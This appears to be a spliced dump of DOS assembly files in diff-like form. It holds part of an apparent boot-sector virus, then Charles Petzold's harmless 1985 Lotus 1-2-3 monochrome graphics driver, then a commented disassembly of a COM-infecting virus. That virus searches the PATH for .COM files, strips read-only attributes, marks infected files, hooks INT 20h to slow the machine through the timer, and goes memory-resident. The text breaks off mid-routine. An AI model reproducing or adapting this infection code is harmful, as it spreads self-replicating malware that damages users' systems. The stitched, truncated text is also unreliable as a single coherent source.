repz movsb ;and mov 'em
mov di, bx ;like xor di, di
sub si, si ;like xor si, si
mov cl, 3 ;movs the first jmp
repz movsb ;instruction!
pop si
ret
;************checks for number of sectors in last partition!
check_data1:
cmp word ptr es:[bx + 01fah], 9219h
ret
;************not sure what is going on here, offset 119h is in the partition
code
;************this ain't a virus ID
check_data2:
cmp word ptr es:[bx + 119h], 6150h
ret
scramble_boot:
push di
push cx
push ax
mov di, bx
mov cx, 200h
cld
scram_loop:
mov al, byte ptr es:[di]
xor al, 2eh
stosb
loop scram_loop
pop ax
pop cx
pop di
ret
set_si:
push cs
pop ds
mov si, 00eah ;location of real partition
cmp dl, 80h ;hard drive access?
jb end_set_si ;no? lets go
mov si, 00eeh ;hard drive infection routine
end_set_si:
ret
;***********I think this loads the real partition which was read from sector 2
;***********DS equ 7c0h
set_real_partition:
push di
push si
mov al, byte ptr es:[bx + 14h]
mov cx, 4
loop_ptr:
mov si, cx
dec si
cmp [si + 00f3h], al
jz set_cl
loop loop_ptr
mov cl, 3
jmp short bye
set_cl:
mov cl, [si+00f7h]
bye:
pop si
pop di
ret
scraps db 05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah
+312
View File
@@ -0,0 +1,312 @@
; MONOGRAF.DRV -- Lotus Driver for Graphics on Monochrome Display
; ============
;
; (For use with Lotus 1-2-3 Version 1A)
;
; (C) Copyright Charles Petzold, 1985
CSEG Segment
Assume CS:CSEG
Org 0
Beginning dw Offset EndDriver,1,1,Offset Initialize
Org 18h
db "Monochrome Graphics (C) Charles Petzold, 1985",0
Org 40h
dw 40 * 8 - 1 ; Maximum Dot Column
dw 25 * 8 - 1 ; Maximum Dot Row
dw 10, 7, 6, 10, 7, 6, 256
db -1 ; For one monitor
Org 53h
Jmp Near Ptr ClearScreen ; Call 0 -- Clear Screen
Jmp Near Ptr ColorSet ; Call 1 -- Set Color
Jmp Near Ptr SetAddress ; Call 2 -- Set Row/Col Addr
Jmp Near Ptr DrawLine ; Call 3 -- Draw a Line
Jmp Near Ptr Initialize ; Call 4 -- Write Dot (nothing)
Jmp Near Ptr WriteChar ; Call 5 -- Write a Character
Jmp Near Ptr DrawBlock ; Call 6 -- Draw a Block
Jmp Near Ptr Initialize ; Call 7 -- Read Dot (nothing)
Jmp Near Ptr Initialize ; Call 8 -- Video Reset
; Initialization Routine
; ----------------------
Initialize Proc Far
Mov AX,0 ; This is standard
Or AX,AX ; for all drivers
Ret
Initialize EndP
; Common Data Used in Routines
; -----------------------------------
CharacterRow dw ? ; from 0 to 24
CharacterCol dw ? ; from 0 to 79
ScreenAddress dw ?,0B000h ; Offset & Segment
CurrentColor db ?,7 ; For Screen Output
Colors db 219,219,178,177,176,219,178 ; Actually blocks
; Row and Column Conversion of AX from graphics to character
; ----------------------------------------------------------
Rounder dw 0 ; Value to add before division
Divisor db ? ; Value to divide by
MaxDots dw ? ; Number of dots
RowConvertRnd: Mov [Rounder],4 ; Row rounding -- add 4
RowConvert: Mov [Divisor],8 ; Row normal -- divide by 8
Mov [MaxDots],200 ; 25 lines times 8 dots
Jmp Short Convert ; And do generalized conversion
ColConvertRnd: Mov [Rounder],2 ; Column rounding -- add 2
ColConvert: Mov [Divisor],4 ; Will divide by 4
Mov [MaxDots],320 ; 40 columns times 4 dots
Convert: Cmp AX,[MaxDots] ; See if graphics value OK
Jb OKToConvert ; It is if under maximum
Jl Negative ; But could be negative
Sub AX,[MaxDots] ; Otherwise wrap down
Jmp Convert ; And check again
Negative: Add AX,[MaxDots] ; Negatives wrap up
Jmp Convert ; And check again
OkToConvert: Add AX,[Rounder] ; Add rounding value
Div [Divisor] ; Divide
Cbw ; And convert to word
Mov [Rounder],0 ; For next time through
Ret
; Calc Offset -- DX, CX character positions in
; -----------
CalcOffset: Push AX
Push DX
Mov AX,80 ; Columns Per Line
Mul DX ; AX now at beginning of row
Add AX,CX ; Add column value
Add AX,AX ; Double for attributes
Mov [ScreenAddress],AX ; Save as the current address
Pop DX
Pop AX
Ret
; Address Convert -- DX, CX row and column converted to character
; ---------------
AddrConvert: Push AX
Mov AX,DX ; This is graphics row
Call RowConvert ; Convert to character row
Mov DX,AX ; Save back in DX
Mov [CharacterRow],AX ; And save value in memory
Mov AX,CX ; This is graphics column
Call ColConvert ; Convert to character column
Mov CX,AX ; Back in CX
Mov [CharacterCol],AX ; And value also saved
Call CalcOffset ; Find the screen destination
Pop AX
Ret
; Call 0 -- Clear Screen -- AL = 0 for B&W
; ====================== -1 for Color
ClearScreen Proc Far
Mov AX,0B000h ; Monochrome Segment
Mov ES,AX ; Set EX to it
Sub DI,DI ; Start at zero
Mov CX,25 * 80 ; Number of characters
Mov AX,0720h ; Blanks only
Cld ; Forward direction
Rep Stosw ; Do it
Ret
ClearScreen EndP
; Call 1 -- Color Set -- AL = Color (0, 1-6)
; -------------------
ColorSet Proc Far
Mov BX,Offset Colors ; Blocks for 7 colors
Xlat Colors ; Translate the bytes
Mov [CurrentColor],AL ; And save it
Ret
ColorSet EndP
; Call 2 -- Set Address -- DX = Graphics Row
; --------------------- CX = Graphics Columns
SetAddress Proc Far
Call AddrConvert ; One routine does it all
Ret
SetAddress EndP
; Call 3 -- Draw Line -- DX = End Row
; ------------------- CX = End Column
DrawLine Proc Far
Les DI,DWord Ptr [ScreenAddress] ; Beginning address
Mov AX,[CharacterCol] ; AX now beginning column
Mov BX,[CharacterRow] ; BX now beginning row
Call AddrConvert ; CX,DX now ending col, row
Cmp AX,CX ; See if cols are the same
Je VertLine ; If so, it's vertical line
Cmp BX,DX ; See if rows are the same
Jne DrawLineEnd ; If not, don't draw anything
HorizLine: Sub CX,AX ; Find the number of bytes
Mov BX,2 ; Increment for next byte
Mov AL,196 ; The horizontal line
Mov AH,179 ; The vertical line
Jae DrawTheLine ; If CX > AX, left to right
Jmp Short ReverseLine ; Otherwise right to left
VertLine: Mov CX,DX ; This is the ending column
Sub CX,BX ; Subtract beginning from it
Mov BX,80 * 2 ; Increment for next line
Mov AL,179 ; The vertical line
Mov AH,196 ; The horizontal line
Jae DrawTheLine ; If CX > BX, up to down
ReverseLine: Neg BX ; Reverse Increment
Neg CX ; Make a positive value
DrawTheLine: Inc CX ; One more byte than calced
DrawLineLoop: Cmp Byte Ptr ES:[DI],197 ; See if criss-cross there
Je DrawLineCont ; If so, branch around
Cmp ES:[DI],AH ; See if opposite line
Jne NoOverLap ; If not, skip next code
Mov Byte Ptr ES:[DI],197 ; Write out criss-cross
Jmp Short DrawLineCont ; And continue
NoOverLap: Mov ES:[DI],AL ; Display line chararacter
DrawLineCont: Add DI,BX ; Next destination
Loop DrawLineLoop ; For CX repetitions
DrawLineEnd: Ret
DrawLine EndP
; Call 5 -- Write Character -- DX, CX = row, col; BX = count,
; ------------------------- AH = direction, AL = type
Direction db ?
WriteChar Proc Far
Push BX ; Save count
Add BX,BX ; Initialize adjustment
Mov [Direction],AH ; Save direction
Or AL,AL ; Branch according to type
Jz WriteType0
Dec AL
Jz WriteType1
Dec AL
Jz WriteType2
Dec AL
Jz WriteType3
WriteType4: Mov AX,4 ; Adjustment to row
Jmp Short WriteCharCont
WriteType3: Add BX,BX ; Center on column
WriteType2: Sub AX,AX ; No adjustment to row
Jmp Short WriteCharCont
WriteType1: Sub BX,BX ; No adjustment on column
WriteType0: Mov AX,2 ; Adjustment to row
WriteCharCont: Cmp [Direction],0 ; Check the direction
Jz HorizChars
Sub DX,BX ; Vertical -- adjust row
Sub DX,BX
Sub CX,AX ; Adjust column
Mov AX,80 * 2 - 1 ; Increment for writes
Jmp Short DoWriteChar
HorizChars: Sub DX,AX ; Horizontal -- adjust row
Sub DX,AX
Sub CX,BX ; Adjust column
Mov AX,1 ; Increment for writes
DoWriteChar: Call AddrConvert ; Convert the address
Les DI,DWord Ptr [ScreenAddress] ; Get video address
Cld
Pop CX ; Get back character count
Jcxz WriteCharEnd ; Do nothing if no characters
CharacterLoop: Movsb ; Write character to display
Add DI,AX ; Increment address
Loop CharacterLoop ; Do it CX times
WriteCharEnd: Ret
WriteChar EndP
; Call 6 -- Draw Block -- BX,DX = Rows; AX,CX = Columns
; --------------------
DrawBlock Proc Far
Call ColConvertRnd ; AX now first char col
Xchg AX,CX ; Switch with 2nd graph col
Call ColConvertRnd ; AX now 2nd char col
Cmp AX,CX ; Compare two char cols
Je DrawBlockEnd ; End routine if the same
Ja NowDoRow ; If CX lowest, just continue
Xchg AX,CX ; Otherwise switch them
NowDoRow: Xchg AX,BX ; AX now 1st graph row
Call RowConvertRnd ; AX now 1st char row
Xchg AX,DX ; AX now 2nd graph row
Call RowConvertRnd ; AX now 2nd char row
Cmp AX,DX ; Compare two character columns
Je DrawBlockEnd ; End routine if the same
Ja BlockRowLoop ; If DX lowest, just continue
Xchg AX,DX ; Otherwise switch them
BlockRowLoop: Push CX ; Beginning Column
Push BX ; Ending Column
BlockColLoop: Call CalcOffset ; Calculate screen address
Les DI,DWord Ptr [ScreenAddress] ; And set ES:DI
Push Word Ptr [CurrentColor] ; Push the current color
Pop ES:[DI] ; And Pop it on the screen
Inc CX ; Next Column
Cmp CX,BX ; Are we an end?
Jb BlockColLoop ; Nope -- loop again
Pop BX ; Get back beginning col
Pop CX ; And the end
Inc DX ; Prepare for next row
Cmp DX,AX ; Are we at the end?
Jb BlockRowLoop ; If not, loop
DrawBlockEnd: Ret
DrawBlock EndP
Org $ + 16 - (($ - Beginning) Mod 16)
EndDriver Label Byte
CSEG EndS
End

+785
View File
@@ -0,0 +1,785 @@
; Start disassembly
DATA_1E EQU 64H ; (761D:0064=0)
DATA_2E EQU 66H ; (761D:0066=0)
DATA_3E EQU 68H ; (761D:0068=0)
DATA_10E EQU 4F43H ; (761D:4F43=0)
DATA_11E EQU 504DH ; (761D:504D=0)
SEG_A SEGMENT
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
Time PROC FAR
start:
JMP Virus_Entry_Point ;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Original Program without 1st three bytes... ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
DATA_5 DB 9987 DUP (90H)
MOV AH,4CH ;
MOV AL,DATA_2 ; Terminate to DOS with
INT 21H ; exitcode AL
DB 0
DATA_2 DB 0
DB 0
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Virus Entry Point ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Virus_Entry_Point:
JMP SHORT Set_Virus_Data_Point
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Set Virus Data Storage Point ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Set_Virus_Data_Point:
PUSH CX ; Store CX
MOV DX,2B2DH ;
MOV SI,DX ; SI points at start of
; virus data
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Get DTA Address ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
PUSH ES ; Store ES
MOV AH,2FH ; GET DTA address into
INT 21H ; ES:BX
MOV [SI],BX ; Store BX of DTA
MOV [SI+2],ES ; Store ES of DTA
POP ES ; Restore ES
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Set new DTA Address ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
MOV DX,4EH ;
ADD DX,SI ;
MOV AH,1AH ;
INT 21H ; Set new DTA to DS:DX
PUSH SI ; Store SI
CLD ; Clear direction
MOV DI,SI ;
ADD SI,0AH ;
ADD DI,81H ;
MOV CX,3 ; Move 3 bytes from source
REP MOVSB ; to destination (E9h, 45h
; 45h)
POP SI ; Restore SI
PUSH ES ; Store ES
PUSH SI ; Store SI
PUSH BX ; Store BX
MOV BX,2CH
MOV AX,[BX] ; Get Extra Segment?
POP BX ; Restore BX
MOV ES,AX
MOV DI,0
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Search for the PATH ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Search_For_Path:
POP SI ; Restore SI
PUSH SI ; Store SI
ADD SI,1AH ;
LODSB ; Load the 'M' into AL
MOV CX,8000H ;
REPNE SCASB ;
MOV CX,4 ;
Path_Loop:
LODSB ;
SCASB ;
JNZ Search_For_Path ;
LOOP Path_Loop ; Pitty, PATH not yet found.
POP SI ; Restore SI
POP ES ; Restore ES
MOV [SI+16H],DI ; Store address of PATH
MOV BX,SI ; Temp. Storage of SI
ADD SI,26H ;
MOV DI,SI ;
JMP SHORT Find_First_FileName
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Error:
CMP WORD PTR [SI+16H],0
JNE Set_Virus_Path ;
JMP Restore_Org_DTA ; Error occured. Restore
; original DTA,
; 1st three bytes and
; execute original
; program.
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Start Searching for PATH ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Set_Virus_Path:
PUSH DS ; Store Registers
PUSH SI
PUSH AX
PUSH ES
PUSH ES
POP DS ; DS=ES
PUSH BX
MOV BX,2CH
MOV AX,[BX]
POP BX ; Restore BX
MOV [SI+1FH],AX ;
MOV DI,SI ;
MOV AX,[DI+16H] ; Org.address of PATH
MOV SI,AX ;
MOV DS,[DI+1FH] ;
POP ES ;
POP AX ;
ADD DI,26H ;
Reached_EO_Path:
LODSB ; Get byte into AL
CMP AL,3BH ; Path Delimiter ';' reached?
JE Delimiter_Reached ; Yes
CMP AL,0 ; End of Path reached?
JE EO_Path_Reached ; Yes
STOSB ; Store byte in AL
JMP SHORT Reached_EO_Path ;
EO_Path_Reached:
MOV SI,0 ;
Delimiter_Reached:
POP BX ;
POP DS ;
MOV [BX+16H],SI ;
CMP BYTE PTR [DI-1],5CH ; Is the PATH closed by
; a backslash?
JE Find_First_FileName ; Yes
MOV AL,5CH ;
STOSB ; Place Backslash
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Find First Filename ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Find_First_FileName:
MOV [BX+18H],DI ; Store at which address
; the path starts
; BX=SI
MOV SI,BX ; Restore SI
ADD SI,10H ;
MOV CX,6 ;
REP MOVSB ; Set Search.Spec.
MOV SI,BX ; Restore SI
MOV AH,4EH ;
MOV DX,26H ;
ADD DX,SI ; Filename:= *.COM
MOV CX,3 ; Search Attributes:
; Read Only/Hidden
INT 21H ; Find 1st Filename to
; match with DS:DX
JMP SHORT Error_Handler ;
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Find Next Filename ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Find_Next_FileName:
MOV AH,4FH ;
INT 21H ; Find next Filename to
; match with DS:DX
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Error Handler ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Error_Handler:
JNC Check_Filelength ; Jump if carry=0, so
; no errors
JMP SHORT Error ; Carry Set, so error
; occured
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Check Filelength and look if file is already infected. ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Check_Filelength:
MOV AX,DS:DATA_1E[SI] ; (761D:0064=0)
AND AL,1FH
CMP AL,7
JE Find_Next_FileName ; File already infected.
CMP WORD PTR DS:DATA_3E[SI],0FA00H
; Is the length of the
; file more as FA00h bytes?
JA Find_Next_FileName ; Yes.
CMP WORD PTR DS:DATA_3E[SI],0F00H
; Is the length of the
; file less as 0F00h bytes?
JB Find_Next_FileName ; Yes
MOV DI,[SI+18H] ; Get address of path of virus
PUSH SI ; Store SI
ADD SI,6CH
Set_FileName:
LODSB ; Set up Filename for
STOSB ; infection.
CMP AL,0 ; End Of Filename Reached?
JNE Set_FileName ; No
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Set Temporary File attributes ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
POP SI ; Restore SI
MOV CX,[SI+63H] ;
MOV CH,0 ;
MOV [SI+8],CX ; Get File-Attributes
MOV AX,CX ;
MOV CX,0FFFEH ;
AND AX,CX ; Remove Read-Only Attribute
MOV CX,AX ;
MOV AX,4301H ;
MOV DX,26H ;
ADD DX,SI ;
INT 21H ; Set File-Attributes
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Open the File ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
MOV AX,3D02H ; Open the file for both
INT 21H ; reading and writing
JNC Give_Infection_Marker ; If no error occured...
JMP Set_FileAttributes_Back ; Error occured
Give_Infection_Marker:
MOV BX,AX
MOV CX,DS:DATA_2E[SI] ; (761D:0066=0)
MOV [SI+6],CX
MOV CX,DS:DATA_1E[SI] ; (761D:0064=0)
AND CL,0E0H
OR CL,7
MOV [SI+4],CX
JMP SHORT Get_Current_Time ; (2967)
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ This Part will be installed resident after hooking INT 20h ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
PUSHF ; Push flags
PUSH DS
PUSH ES
PUSH SS
PUSH AX
PUSH BX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
MOV DX,43H
MOV AL,74H ; This will change the refesh
OUT DX,AL ; rate, thus slowing down the
MOV DX,41H ; PC. Every normal program-
MOV AL,8 ; termination by calling
OUT DX,AL ; INT 20h will call this
MOV AL,7 ; rourtine
OUT DX,AL ;
POP BP
POP SI
POP DI
POP DX
POP BX
POP AX
POP SS
POP ES
POP DS
POPF ; Pop flags
JMP CS:DATA_5 ; (761D:0253=9090H)
; JMP to org. INT 20h address
ADD [BX+SI],AL
ADD [BX+SI],AL
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Get Current Time ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Get_Current_Time:
PUSH AX ; Store all registers
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH BP
MOV AH,2CH ; Get current time into CX:DX
INT 21H ; CX=hrs/min, DX=sec/hund.sec
CMP DL,32H ; Are we above 32/100 seconds?
JA Get_INT_F2_Vector ; Yes
JMP Start_Trigger_Check ; No
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Get Interrupt Vector of INT F2h ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Get_INT_F2_Vector:
MOV AH,35H ; Get the interrupt vector of
MOV AL,0F2H ; INT 0F2h into ES:BX
INT 21H ;
CMP BX,7777H ; Was INT F2 already hooked?
JNE Allocate_Memory ; No
JMP INT_F2_Already_Hooked ;
Allocate_Memory:
MOV AX,DS ;
DEC AX ;
MOV ES,AX ;
MOV BX,0 ;
CMP BYTE PTR ES:[BX],5AH ;
JE Memory_Already_Allocated
PUSH BX ;
MOV AH,48H ; Allocate 4096 16-byte-para-
MOV BX,0FFFFH ; graphs in memory. ???
INT 21H ;
CMP BX,5 ; Is the largest available
; 5 or higher?
JAE Again_Allocate_Memory ; Yes
JMP Start_Trigger_Check ; No
Again_Allocate_Memory:
MOV AH,48H ; Again allocate memory
INT 21H ;
POP BX ;
JNC Segment_Decrease ; If there was no error when
; allocating memory the last
; time
JMP Start_Trigger_Check ; If there was an error
Segment_Decrease:
DEC AX ; Decrease Segment of Allcated
; memory
MOV ES,AX ;
MOV BX,1 ;
MOV WORD PTR ES:[BX],0 ;
MOV BX,0 ;
CMP BYTE PTR ES:[BX],5AH ;
JE Memory_Allocated ;
JMP SHORT Start_Trigger_Check
NOP ;
Memory_Allocated:
MOV BX,3 ;
ADD AX,ES:[BX] ;
INC AX ;
MOV BX,12H ;
MOV ES:[BX],AX ;
Memory_Already_Allocated:
MOV BX,3 ;
MOV AX,ES:[BX] ;
SUB AX,5 ;
JC Start_Trigger_Check ; Jump if carry Set
MOV ES:[BX],AX ;
MOV BX,12H ;
SUB WORD PTR ES:[BX],5 ;
MOV ES,ES:[BX] ;
PUSH SI ; Store SI
SUB SI,1F2H ; SI points to the part
MOV DI,0 ; which must become
MOV CX,46H ; resident.
REP MOVSB ; Move the 46h bytes from
; [SI] to ES:[DI]
POP SI ; Restore SI
MOV BP,ES ;
PUSH CS ;
POP ES ; Restore ES
MOV AH,25H ; Hook interrupt F2h
